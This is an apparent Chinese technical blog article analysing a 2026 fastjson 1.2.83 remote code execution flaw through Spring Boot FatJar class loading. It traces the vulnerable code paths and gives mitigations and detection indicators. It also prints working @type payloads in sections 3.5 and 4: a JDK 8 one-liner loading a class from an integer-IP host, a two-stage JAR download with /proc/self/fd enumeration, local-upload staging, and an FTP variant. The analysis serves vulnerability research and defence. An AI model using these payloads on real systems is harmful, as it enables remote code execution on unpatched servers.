Fastjson 1.2.83 RCE(上):漏洞实例与利用完整分析

2026 年 7 月 19 日,Kirill Firsov 公开了 fastjson 1.2.83 的一个远程代码执行漏洞[5]。这个版本在 fastjson 1.x 的历史地位特殊:它是 1.x 的最后一个版本[11],也是"autoType 战争"打了五年之后的终态防御形态——默认关 autoType、黑白名单 hash、expectClass 限制层层设防,社区共识是"1.2.83 基本不可利用,可以养老"。这个共识在一周内被打破,而且打破它的不是某个新的 gadget,而是一种完全不同的东西:漏洞不住在 fastjson 自己的代码里,也不住在 Spring Boot 或 JDK 的代码里,而住在三者接缝处的语义分歧里[5][8]。

本文是三篇系列的上篇,目标是把这个漏洞的实例与利用讲完整。中篇将从本案例抽象出"语义缝隙"与"行为层 gadget"的分析框架;下篇讨论 AI 辅助漏洞挖掘在这个案例中的元问题。


1. 漏洞速览

编号 CVE-2026-16723 / QVD-2026-43021(奇安信)
CVSS 9.8 Critical
影响版本 fastjson 1.2.68 ~ 1.2.83[1][5];部分通告称 1.2.66 起[14]
类型 无需 gadget 的远程代码执行(Gadget-Free RCE)[1]
披露者 Kirill Firsov (@k_firsov),2026-07-19[5]
修复 SafeMode(P0)/ 1.2.83_noneautotype(P0)/ 迁移 fastjson2(P1)[1][6]

一句话概括:fastjson 在处理 @type 时存在一条"先探测再加载"的信任分支——把用户可控的类名当作资源路径交给 ClassLoader 取回字节、用 ASM 检测其是否带 @JSONType 注解,带则无条件 loadClass[5]。在能把这个"资源路径"解析成远程 URL 的 ClassLoader 环境中(典型:Spring Boot FatJar 的 LaunchedURLClassLoader[5]),攻击者托管一个带 @JSONType 注解的恶意 class,即可在类型绑定之前完成远程类加载并执行其静态初始化块 <clinit>[8]。

为什么重要

  1. fastjson 1.x 是互联网部署最广的 Java JSON 库之一;1.2.83 是 1.x 最后版本[11],此前公认"只能基于 expectClass 和第三方库 gadget 做极有限利用,几乎无法 RCE"[5],大量厂商因此选择不升级
  2. 本漏洞与 autoType 是否开启无关、不需要 expectClass、不需要 classpath 里存在 gadget——三个主流缓解假设同时失效[1]
  3. 影响 JDK 8 / 17 / 21 / 25 均有复现(本文 JDK 8 + JDK 17 自主复现,21/25 依据 GCSA 报告[8])
  4. 它的根不住在任何一个组件的代码里,而住在组件之间的语义缝隙里:fastjson 假设 getResourceAsStream 只在本地 classpath 找资源,Spring Boot 的 ClassLoader 实际会把资源名当 URL 解析[5]——实验证实 HTTP、FTP、本地文件三种传输通道均可完成全链[14]。

常见不成立判断

  • "AutoType 默认关闭,所以安全" —— 不成立[1]
  • "parseObject 固定了第二个参数,所以安全" —— 不成立(探测发生在类型绑定之前)[5]
  • "classpath 没有已知 gadget,所以安全" —— 不成立[5]
  • "JDK 17+ 会拒绝 http:// 内部类名,所以最多只是 SSRF" —— 不成立(见 §3.5 两阶段利用)[8]

2. 根因:代码路径

代码出处

  • fastjson:tag 1.2.83(commit 26f13f84f
  • Spring Boot:tag v2.7.18
  • OpenJDK 8:tag jdk8u502-ga
  • OpenJDK master:commit 1bc03f02(作为"现代 JDK"代表;JDK 9 引入收紧的边界依据公开分析[5],未逐版本核对)
  • Tomcat:分支 9.0.x(仅 catalina/loader

本节分析综合以下来源:官方 advisory[1]、LoRexxar 技术分析[5]、9eek 源码级分析[7]、GCSA 深度分析[8]、FreeBuf 分析[13]。

2.0 入口:@type 如何到达 checkAutoType

典型链路(JSON.parseObject(body) 触发):

1
2
3
4
5
6
7
JSON.parseObject(String)
└─ DefaultJSONParser.parseObject(Map, Object)
└─ 键 == "@type"(JSON.DEFAULT_TYPE_KEY)
且未开 Feature.DisableSpecialKeyDetect ← DefaultJSONParser.java:311-313
└─ 值经 Feature.IgnoreAutoType 检查 ← L315-317(默认关,开了则跳过整个分支)
└─ 短路:等于目标类名 / HashMap / LinkedHashMap / 全数字 → 不进 checkAutoType ← L325-342
└─ config.checkAutoType(typeName, null, lexer.getFeatures()) ← L343

checkAutoType 内前置关卡(ParserConfig.java:1325-1477):

  1. SafeMode 检查(L1325-1331)——见 §2.6;
  2. 长度检查:< 3≥ 192 直接抛(L1338-1340);
  3. expectClass 白名单 hash 判定(L1342-1363);
  4. 两枚魔数 hash 拦截 [ 开头与特定后缀形式(L1368-1374);
  5. 内置白名单 INTERNAL_WHITELIST_HASHCODES 命中 → 直接 loadClass 返回(L1384、L1432-1434);
  6. deny hash 逐前缀扫描(L1386-1395,及 L1397-1416 的 autoTypeSupport/expectClassFlag 路径);
  7. getClassFromMapping / deserializers.findClass / typeMapping 已有映射 → 直接返回(L1418-1443,Throwable 子类在 autoType 关闭时被置 null,L1424-1426)。

只有穿过全部七道前置关卡、仍未解析到类的 typeName,才进入资源探测段——也就是说,攻击载荷的类名必须不在 fastjson 的映射表与黑白名单 hash 中(jar:http:... 这类构造天然满足)。

其余入口(影响面注记):JSONArray 元素内的 @type(DefaultJSONParser.java:1767)、MapDeserializer(MapDeserializer.java:191)、JavaBeanDeserializer(JavaBeanDeserializer.java:308、823,带 expectClass)、ThrowableDeserializer(ThrowableDeserializer.java:77,expectClass 固定为 Throwable.class)——多个入口共用同一个 checkAutoType,漏洞面不依赖具体业务 DTO[5]。

2.1 用户类型名被当作资源路径(ParserConfig.java:1479-1498)

1
2
3
4
5
6
7
// L1482-1487
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource); // ← 关键调用
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}

typeName 来自请求 JSON 的 @type 值,完全用户可控。replace('.', '/') 的本意是包名转路径(com.example.Foocom/example/Foo.class),但代码没有限制 resource 的协议、绝对路径语义或来源——它假设结果永远是个 classpath 相对路径,而这个假设在某些 ClassLoader 下不成立。

注意 else 分支(L1486):未显式设置 defaultClassLoader 时,探测用的是加载 fastjson 自身的 ClassLoader——FatJar 中 fastjson 从 BOOT-INF/lib 加载,即 LaunchedURLClassLoader(代码实证 + 部署环境推断)。这是多数应用实际生效的路径,不需要任何显式配置。

2.2 远程 class 的 @JSONType 被当作授权依据

1
2
3
4
5
// L1489-1492
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();

fastjson 用自己的 ASM ClassReader 解析取回的字节,检测类是否带 @JSONType 注解。取回的内容来自哪里不重要——只要字节里写着这个注解,信任就成立。 攻击者只需让远程 class 带上该注解。

2.3 jsonType 触发实际类加载

1
2
3
if (autoTypeSupport || jsonType || expectClassFlag) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}

jsonType=true 时进入 loadClass。注意:这与 autoTypeSupport(autoType 开关)是关系——autoType 关闭不影响此分支。

TypeUtils.loadClass(TypeUtils.java:1735-1791)的内部顺序对各场景判定很关键:

1
2
3
4
5
6
mappings 缓存命中 → 直接返回
'[' 数组形式 / 'L...;' 描述符形式 → 脱壳递归
① classLoader.loadClass(即传入的 defaultClassLoader)
② 失败 → TCCL.loadClass(当前线程上下文 ClassLoader)
③ 再失败 → Class.forName(用 TypeUtils 自身所在 ClassLoader)
每步 catch (Throwable) → 静默降级到下一步

两点推论:

  1. 每个 ClassLoader 的失败都不致命——①被容器 CL 拒绝后会自动滑向②③。③的 Class.forName(className) 无显式 CL 参数,实际使用 TypeUtils 类的定义 CL,FatJar 下即 LaunchedURLClassLoader——与①通常同源,但与②(TCCL)可能不同源
  2. 载荷类名带 : ! 等字符不影响 ①②③ 的尝试——这些 CL 层不做类名字符合法性校验,合法性只在 defineClass 的 native 层被判定(§3.4)。

2.4 jsonType 早返回,跳过全部后续安全检查

1
2
3
4
5
6
7
8
9
10
11
// L1505-1511
if (clazz != null) {
if (jsonType) {
if (autoTypeSupport) { TypeUtils.addMapping(typeName, clazz); }
return clazz; // ← 直接返回
}
// 以下检查全部被跳过:
// L1513-1518 危险基类检查(ClassLoader / DataSource / RowSet)
// L1520-1529 expectClass 相容性检查
// L1531-1534 creatorConstructor 检查
}

远程类一旦被加载且带 @JSONType三道后续检查全部不执行:危险基类检查(ClassLoader/DataSource/RowSet,L1513-1518)、expectClass 相容性检查(L1520-1529)、creatorConstructor 检查(L1531-1534)。

2.5 Exception/Error 后缀形成失败软通道

1
2
3
4
5
6
if (!autoTypeSupport) {
if (typeName.endsWith("Exception") || typeName.endsWith("Error")) {
return null; // 软失败,解析继续
}
throw new JSONException("autoType is not support. " + typeName);
}

1.2.83 中这个软通道实际有两处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// L1447-1462(deny hash 扫描循环内,!autoTypeSupport 路径)
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
if (typeName.endsWith("Exception") || typeName.endsWith("Error")) {
return null;
}
throw new JSONException("autoType is not support. " + typeName);
}

// L1537-1543(探测与 loadClass 全部结束之后)
if (!autoTypeSupport) {
if (typeName.endsWith("Exception") || typeName.endsWith("Error")) {
return null; // 软失败,解析继续
}
throw new JSONException("autoType is not support. " + typeName);
}

两处语义相同、触发路径不同:L1455 在 typeName 逐前缀 hash 命中 deny 列表时生效;L1538 在穿过探测、加载后仍未拿到可用类时生效。两阶段利用的载荷(jar:http:...Exception 等)不在 deny 列表,实际命中的是 L1538(代码路径推断:未被 deny 拦截是公开复现成立的前提)。

JDK 9+ 上第一阶段加载会因非法内部类名失败。让类型名以 Exception 结尾后,fastjson 不抛异常、不终止 JSON 解析,数组中后续的枚举元素得以继续处理——这是现代 JDK 两阶段利用(§3.5)的结构性前提,同时也天然构成一个行为差异探针(指纹识别价值)。

2.6 SafeMode 的位置

SafeMode 检查(ParserConfig.java:1325-1330)发生在资源访问之前,因此能阻断整条链(网络请求都不会发出)。这解释了为什么 SafeMode 是 P0 级修复而其他缓解都是部分的。


3. 关键机制

3.1 资源名走私与整数 IP

replace('.', '/') 是把双刃剑:它既能把包名变路径,也能把精心构造的字符串变成 URL[5]——

1
2
3
4
输入   jar:http:..ATTACKER:18081.exploit!.Payload
├─ http:.. → http://
├─ ATTACKER:18081.exploit → ATTACKER:18081/exploit
└─ !. → !/

唯一的问题是 IP 里的点会被一并转义。解法:Java 的 URL 解析接受整数形式 IP——

1
2130706433 = 0x7F000001 = 127.0.0.1

(URL spec 允许十进制整数 IP,与开发者"IP=点分四段"的假设之间的缝隙。)

3.2 远程加载为什么可能:资源名如何变成 HTTP 请求

普通 ClassLoader 对 getResourceAsStream("jar:http://...") 返回 null。Spring Boot FatJar 环境中,资源名一路穿过五层代码变成远程请求,每层都有明确出处[5]:

① URLClassPath 的 Loader 分派(jdk8u URLClassPath.java:563-581;现代 JDK jdk/internal/loader/URLClassPath.java:456+

FatJar 的 classpath URL 形如 jar:file:/app.jar!/BOOT-INF/lib/fastjson-1.2.83.jar!/——file 部分以 / 结尾且协议不是 file,于是走的是基础 Loader(而非 JarLoader

1
2
3
4
5
6
if (file != null && file.endsWith("/")) {
if ("file".equals(url.getProtocol())) return new FileLoader(url);
else return new Loader(url); // ← FatJar 条目落在这里
} else {
return new JarLoader(url, jarHandler, lmap, acc);
}

② 基础 Loader.getResource 直接拼 URL 并打开(jdk8u URLClassPath.java:735-760

1
2
3
4
url = new URL(base, ParseUtil.encodePath(name, false));   // base=jar:file:/app.jar!/...
...
uc = url.openConnection(); // ← 网络动作发生点
InputStream in = uc.getInputStream();

注意对比:JarLoader.getResource(jdk8u L1056+)是 jar.getJarEntry(name) 本地查表,不会出网——**"走基础 Loader 还是 JarLoader"由 classpath 条目的 URL 形态决定**,这正是 WAR/外置容器(条目为 file: 目录或普通 jar)与 FatJar 行为分歧的 JVM 层根源。

new URL(context, spec) 的协议判定(jdk8u java/net/URL.java:556-580

  • spec 协议与 context 不同(如 http:/... vs context 的 jar:)→ spec 按绝对 URL 处理,context 整体丢弃——http: 前缀载荷即此路径,连 Spring 的 handler 都不需要;
  • spec 协议与 context 相同jar:...)→ 继承 context 的 handler,交给 handler 的 parseURL 做相对解析。

④ Spring 的 jar Handler:spec 整体替换 context.file(spring-boot v2.7.18 loader/jar/Handler.java:223-245

Launcher.launch() 启动时调用 JarFile.registerUrlProtocolHandler()Launcher.java:53JarFile.java:432-438),把 org.springframework.boot.loader 塞进 java.protocol.handler.pkgs——此后 JVM 内所有 jar: URL 由 Spring 的 Handler 解析:

1
2
3
4
// Handler.parseURL
if (spec.regionMatches(true, 0, JAR_PROTOCOL, 0, JAR_PROTOCOL.length())) {
setFile(context, getFileFromSpec(spec.substring(start, limit))); // ← base 被完全替换
}

getFileFromSpec 只校验 !/ 前缀部分是合法 URL,于是 jar:http:/ATTACKER/x!/Payload.class 原样成为新 URL——FatJar 的本地根被攻击者 spec 完全顶掉

⑤ openConnection 的 fallback 链落到 JDK 原生 jar handlerHandler.java:87-97、188-193FALLBACK_HANDLERS 定义于 L64)

Spring Handler 先尝试把 URL 解析进本地 root jar(getRootJarFileFromUrl),远程地址必然失败,沿 openFallbackTomcatConnection → openFallbackContextConnection → openFallbackHandlerConnection 降级,最终用 sun.net.www.protocol.jar.Handler 重新打开——进入 JDK 标准 JarURLConnectionURLJarFile.retrieve(jdk8u sun/net/www/protocol/jar/URLJarFile.java:189-197):**把远程 JAR 下载为临时文件 jar_cache***。这个落盘行为正是 §3.5 两阶段利用的 staging 来源。

结论(本漏洞的存在条件):fastjson 所在 ClassLoader 的 URLClassPath 含有"以 / 结尾、非 file: 协议"的条目(FatJar 的嵌套 jar URL 恰好如此),且 jar: 协议 handler 已被替换为宽容的实现(Spring Boot Loader)。 两个条件分别对应上述①④——缺①走 JarLoader 本地查表,缺④走 JDK 原生 jar handler 的严格解析。

3.3 ASM 非法类名:语言语法与 VM 规范的缝隙

要加载的类名形如 jar:http://2130706433:18081/exploit!/Payload,含 : / !——javac 永远无法编译出这样的类[7],但 JVMS §4.2 对 classfile 中非限定名的禁止集只是 . ; [ /(JDK 8 实际执行更松,见下),:! 均合法,所以 PoC 必须用 ASM 直接写字节码(asm 9.6)[5],类中放 @JSONType 注解 + <clinit> 静态初始化块。<clinit> 在 defineClass 后即执行,parseObject(body, Dto.class) 的类型绑定之前,后续限制全部无效[5]。

3.4 JDK 版本差异:native 校验的两轮

defineClass(name, bytes) 的校验分两层[5]:

  • Java 层 preDefineClass:只查传入的 name 字符串是否含 /——载荷均为点号形式(http:..2130706433:18081.a),通过;
  • native 层 defineClass1 → ClassFileParser::parse_stream → verify_legal_class_name:解析常量池后对类名条目执行 verify_unqualified_name,两版行为分叉就在这里:

JDK 8(jdk8u502-ga hotspot/.../classFileParser.cpp:5201-5224)——对 LegalClass 只禁三个字符,/ 被明确豁免:

1
2
3
4
5
6
if (ch == '.' || ch == ';' || ch == '[' ) {
return false; // do not permit '.', ';', or '['
}
if (type != LegalClass && ch == '/') {
return false; // do not permit '/' unless it's class name
}

→ 内部名 http://2130706433:18081/a 的连续斜杠通过

现代 JDK(jdk master 1bc03f02 classFileParser.cpp:4545-4577)——LegalClass/ 仍允许,但禁止空路径段(连续 //、首/尾 /):

1
2
3
4
5
6
7
8
case JVM_SIGNATURE_SLASH:
// check for '//' or leading or trailing '/' which are not legal
if (type == ClassFileParser::LegalClass) {
if (p == name || p+1 >= name+length ||
*(p+1) == JVM_SIGNATURE_SLASH) {
return false;
}
}

http:// 必含 //被拒。(收紧自 JDK 9 起生效,边界依据公开分析[5],未逐版本核对。)

这就是"JDK 8 直接 RCE、JDK 9+ 第一阶段只能 SSRF"的根因[5]。同时它解释了两阶段载荷的形态约束:阶段二的 jar:file:.proc.self.fd.7!.fd7.Exception 解出的内部名是 fd7/Exception——全单斜杠、无空段、无首/尾斜杠,是为过这道校验而设计的[8]。

3.5 现代 JDK 两阶段:jar_cache + /proc/self/fd

以下两阶段利用方案由 GCSA 首次完整公开[8]:

1
2
3
4
5
6
7
8
9
10
11
12
阶段一(下载):
{"@type":"jar:http:..ATTACKER:18081.x!.foo.Exception"}
→ getResourceAsStream 探测阶段即触发 HTTP 下载
→ JDK 的 sun.net.www.protocol.jar.URLJarFile.retrieve
把远程 JAR 落盘为临时文件 jar_cache*,拿到 fd N
→ defineClass 因 // 失败,但 Exception 后缀软返回(§2.5),解析继续

阶段二(本地重开):
{"@type":"jar:file:.proc.self.fd.N!.fdN.Exception"}
→ jar:file:/proc/self/fd/N!/fdN/Exception.class
→ 本地文件、全单斜杠、无空段 → 过 verify_unqualified_name
→ defineClass 成功,<clinit> 执行

fd 号 N 靠数组枚举元素逐个试。一个 payload 同时兼容 JDK 8 与现代 JDK:JDK 8 在第一阶段直接成功;JDK 9+ 走软通道进入 fd 枚举阶段。

副产物/proc/self/fd 依赖使该链在 Windows 高版本 JDK 上断裂(Windows 无此文件系统接口)。


4. 利用场景全貌与详述

以下按利用链逐一展开,覆盖 JDK 8 到现代 JDK、Linux 与 Windows、出网与不出网、HTTP 与 FTP 等维度。

4.1 JDK 8 最短链

最短 payload:

1
{"@type":"http:..2130706433:18081.a"}

攻击端:ASM 生成类(内部名 http://2130706433:18081/a,带 @JSONType<clinit> 放命令执行),HTTP 服务托管 .class。依赖:fastjson 1.2.83 + spring-boot-loader 2.7.18 + asm 9.6。

http: 前缀载荷经 new URL(context, spec) 协议判定(§3.2③)按绝对 URL 处理,连 Spring 的 jar handler 都不需要——这是所有链中最短的一条,也是理解整类漏洞的起点。

4.2 现代 JDK 两阶段

1
2
3
4
5
6
7
[
{"@type":"jar:http:..ATTACKER:18081.x!.foo.Exception"},
{"@type":"jar:file:.proc.self.fd.3!.fd3.Exception"},
{"@type":"jar:file:.proc.self.fd.4!.fd4.Exception"},
...
{"@type":"jar:file:.proc.self.fd.55!.fd55.Exception"}
]

恶意类打包进 JAR 托管;阶段一触发下载落盘(jar_cache*),阶段二枚举 fd。JDK 17 + Jetty FatJar 环境下典型命中 fd 34,枚举范围需覆盖 3~55 以确保命中。同一解析请求期间攻击端收到 HEAD + GET × 2(共 3 次请求)。

4.3 无出网 staging

Linux 本地 staging(JDK 17 + Jetty FatJar + 完全网络隔离):

1
2
payload: {"@type":"jar:file:.tmp.uploads.stage!.p.Exception"}
→ 解析为 jar:file:/tmp/uploads/stage!/p/Exception.class

步骤:先通过应用上传接口将 polyglot JAR 放置到 /tmp/uploads/stage,再发送 payload。容器 iptables 阻断所有出站前提下,marker.log 写出内部名 jar:file:/tmp/uploads/stage!/p/Exception,CL 为 LaunchedURLClassLoader。全程零出站连接,RCE 成功。

Windows 本地 staging(JDK 17 + Jetty FatJar + 本地上传目录):

1
2
payload: {"@type":"jar:file:.C:.temp.up.pg!.p.Exception"}
→ 解析为 jar:file:/C:/temp/up/pg!/p/Exception.class

marker.log 确认内部名 jar:file:/C:/temp/up/pg!/p/Exception。注意 Windows 路径中 C: 的冒号不被 replace('.','/') 影响(冒号本身不是点),而路径分隔符恰好可以用单正斜杠表达——过 JDK 9+ verifier。

操作约束:

  • 上传文件名不能含点(点会变斜杠)——用无扩展名文件名 stage / pg
  • jar:file: 后的路径必须全单斜杠、无空段、无首/尾斜杠
  • zip/JAR 格式容忍前缀垃圾(中央目录从尾部定位)——polyglot 可嵌入图片等无害外观

4.4 FTP 传输通道

(Linux JDK 8 + Jetty FatJar;攻击端 pyftpdlib 在 2121 端口):

1
2
payload: {"@type":"jar:ftp:..2887647242:2121.x!.p.Exception"}
→ 解析为 jar:ftp://2887647242:2121/x!/p/Exception.class

marker.log 确认内部名 jar:ftp://2887647242:2121/x!/p/Exception,CL 为 LaunchedURLClassLoader。RCE 成功。

机制:JDK 内置 sun.net.www.protocol.ftp.Handler 处理 ftp: URL,经 JarURLConnectionURLJarFile.retrieve 与 HTTP 走同一下载-落盘路径——传输协议对后续链路透明。这意味着:

  • 仅拦截 HTTP 出站(80/443/8080 等)的防火墙规则对 FTP 通道无效
  • JDK 8 上 FTP 直载同样绕过 verifier(内部名含 // 但 JDK 8 放行)
  • 对于 JDK 9+,FTP 通道仍可作为两阶段的 transport(与 HTTP 等价),fd 枚举阶段不变

防御含义:出网白名单必须覆盖全协议(TCP 层全端口阻断),或使用 SafeMode/noneautotype 根断。

4.5 关键结论

  1. 部署形态是第一分轴:WAR/外置容器机制性死亡(Tomcat WebappClassLoaderBase 走本地路径 + Spring Boot Launcher WAR 模式不注册 jar: handler),FatJar 全列活——该漏洞本质上是"FatJar 部署生态的漏洞"
  2. 升 JDK 不构成缓解:JDK 9+ 只是换了条链;Windows staging 和 Linux staging 均可行
  3. 真正有效的通用缓解只有三个:SafeMode / noneautotype / 出网管控+无上传面(注意本地 staging 的存在使出网管控单独不充分,必须同时无 staging 面)
  4. FTP 是被低估的传输通道:jar:ftp: 全链可达 RCE,绕过仅监控 HTTP 出网的防御

5. 检测与防御

请求侧@type 值含 http:..jar:http:..jar:ftp:..jar:file:.proc.self.fd.jar:file:.C:(Windows staging)、jar:file:.tmp.(Linux staging)、!.(jar entry 分隔符)、Exception 后缀;注意 "\u0040type" 编码变体

网络侧:JVM 向异常主机发起 HTTP(HEAD+GET × 2 三连)或 FTP 连接请求无扩展名文件/.class;同一解析期间 1-3 次重复请求

主机侧:JVM 临时目录出现 jar_cache*;类加载日志出现 jar:file:/proc/self/fd/N!/jar:ftp:// 或非 classpath 内的 jar:file: 路径


6. 资料来源与参考文献

6.1 事件时间线

日期 事件 来源
2026-07-19 Kirill Firsov (@k_firsov) Twitter 首次公开披露 [5]
2026-07-20 奇安信 CERT 发布 QVD-2026-43021 通告;腾讯云早期通告;猎户攻防实验室预警 [3]
2026-07-21 官方 Security Advisory 发布;奇安信 CERT 确认复现(第二次更新);GCSA 发布深度分析;大连理工大学安全公告;CSDN 综合 PoC 分析 [1][4][8]
2026-07-22 原作者在 fearsoff.org 公开完整研究文档;首个公开 PoC 仓库出现(wouijvziqy,后删除);LoRexxar、9eek、FreeBuf、Mrxn 等技术分析集中发布 [5][6][7][13]
2026-07-23 CVE-2026-16723 正式通告(腾讯云);CSDN 企业排查加固 [2]
2026-07-24–25 Detect-DefenseLab 全版本通杀研究;众多利用工具与防御方案集中出现 [14]

6.2 参考文献

官方公告与安全通告

编号 标题 来源 日期 URL
[1] Security Advisory: Remote Code Execution in fastjson 1.2.68–1.2.83 GitHub / alibaba/fastjson2 Wiki 2026-07-21 https://github.com/alibaba/fastjson2/wiki/Security-Advisory:-Remote-Code-Execution-in-fastjson-1.2.68%E2%80%931.2.83
[2] Fastjson 远程代码执行漏洞风险通告 (CVE-2026-16723) 腾讯云安全中心 2026-07-23 https://cloud.tencent.com/announce/detail/2381
[3] Fastjson 1.2.83 远程代码执行漏洞安全风险通告 (QVD-2026-43021) 奇安信 CERT 2026-07-20 https://www.secrss.com/articles/92316
[4] 奇安信 CERT 第二次更新:已复现 奇安信 CERT (gm7.org 转载) 2026-07-21 https://www.gm7.org/archives/132224
[10] 关于 Fastjson 1.2.83 远程代码执行漏洞的安全公告 大连理工大学 2026-07-21 https://wlaq.dlut.edu.cn/info/1097/8405.htm
[11] FASTJSON 1.2.83 版本发布(安全修复) GitHub / alibaba/fastjson Releases 2022-05-23 https://github.com/alibaba/fastjson/releases

技术分析与原始研究

编号 标题 作者/机构 日期 URL
[5] 2026年了,核弹还是fastjson——fastjson1.2.83 RCE是怎么回事? LoRexxar 2026-07-21 https://lorexxar.cn/2026/07/21/fs1-2-83rce/
[7] Fastjson 1.2.83 RCE漏洞分析(AI) 9eek 2026-07-22 https://www.cnblogs.com/9eek/p/21793398
[8] Fastjson 1.2.83 "Gadget-Free" 漏洞(0day)深度分析与防御指南 GCSA (Foresight News) 2026-07-21 https://foresightnews.pro/article/detail/98990
[13] Fastjson 1.2.83 @JSONType Gadget-free RCE 分析与复现 江左盟宗主 / FreeBuf 2026-07-22 https://www.freebuf.com/articles/web/491546.html
[16] Fastjson 1.2.83 漏洞深度技术报告(完整版) GCSA 2026-07-21 同 [8] 完整版;内部编号 FJ-GETRESOURCE-RCE
[17] Fastjson 1.2.83 漏洞 AI 可发现性与可利用性分析 综合多源分析 2026-07-25 本文收集整理,基于多源公开资料综合

漏洞预警与企业排查

编号 标题 作者/机构 日期 URL
[6] Fastjson 1.2.83 默认配置下的远程代码执行漏洞 Mrxn 2026-07-20 https://mrxn.net/jswz/fastjson-1-2-83-default-config-rce.html
[9] Fastjson 远程代码执行漏洞预警:1.2.68–1.2.83 受影响 猎户攻防实验室 (gm7.org) 2026-07-20 https://www.gm7.org/archives/131981
[12] 【PoC已公开】Fastjson 再爆 RCE 高危漏洞,无需任何第三方 Gadget! CSDN 2026-07-21 https://blog.csdn.net/lingggggaaaa/article/details/163064101
[14] Fastjson 1.2.83 autoType 通杀 RCE 研究 Detect-DefenseLab 2026-07-24–25 https://github.com/Detect-DefenseLab/fastjson-1.2.83-rce-detection
[15] Fastjson 1.2.83无Gadget RCE实战复现+企业全量排查加固 CSDN 2026-07-23 https://blog.csdn.net/weixin_42376192/article/details/163121562

PoC 仓库([P1]–[P8])

编号 仓库 状态 说明
[P1] github.com/wouijvziqy/Fastjson-JsonType-RCE-PoC ❌ 已删除 最早公开 PoC[5]
[P2] github.com/ThanatosXingYu/2026FastjsonPoC ✅ 在线 完整构建脚本 + 复现步骤[5]
[P3] github.com/seklure/fastjson-jsontype-rce-poc ✅ 在线 轻量 PoC
[P4] github.com/dinosn/fastjson-jsontype-rce-lab ✅ 在线 Docker 靶场环境 [6]
[P5] github.com/fzypl/Fastjson-JsonType-RCE-Demo ✅ 在线 演示 Demo
[P6] github.com/zg-sec/fastjson-json-type-rce ✅ 在线 诸葛安全版 PoC
[P7] github.com/Detect-DefenseLab/fastjson-1.2.83-rce-detection ✅ 在线 全版本通杀 + 多层防御 [14]
[P8] github.com/YoungBear/FastjsonPoc ✅ 在线 通用 PoC 代码

一手资料

编号 链接 说明
[S1] https://fearsoff.org/cn/research/fastjson-1-2-83-rce 原作者 Kirill Firsov 完整研究文档
[S2] https://x.com/k_firsov/status/2078872293745570032 原作者 Twitter 首次披露[5]

本文引用说明:正文方括号数字引用(如 [5][8])对应上表编号。

搜索文章

输入关键词开始搜索。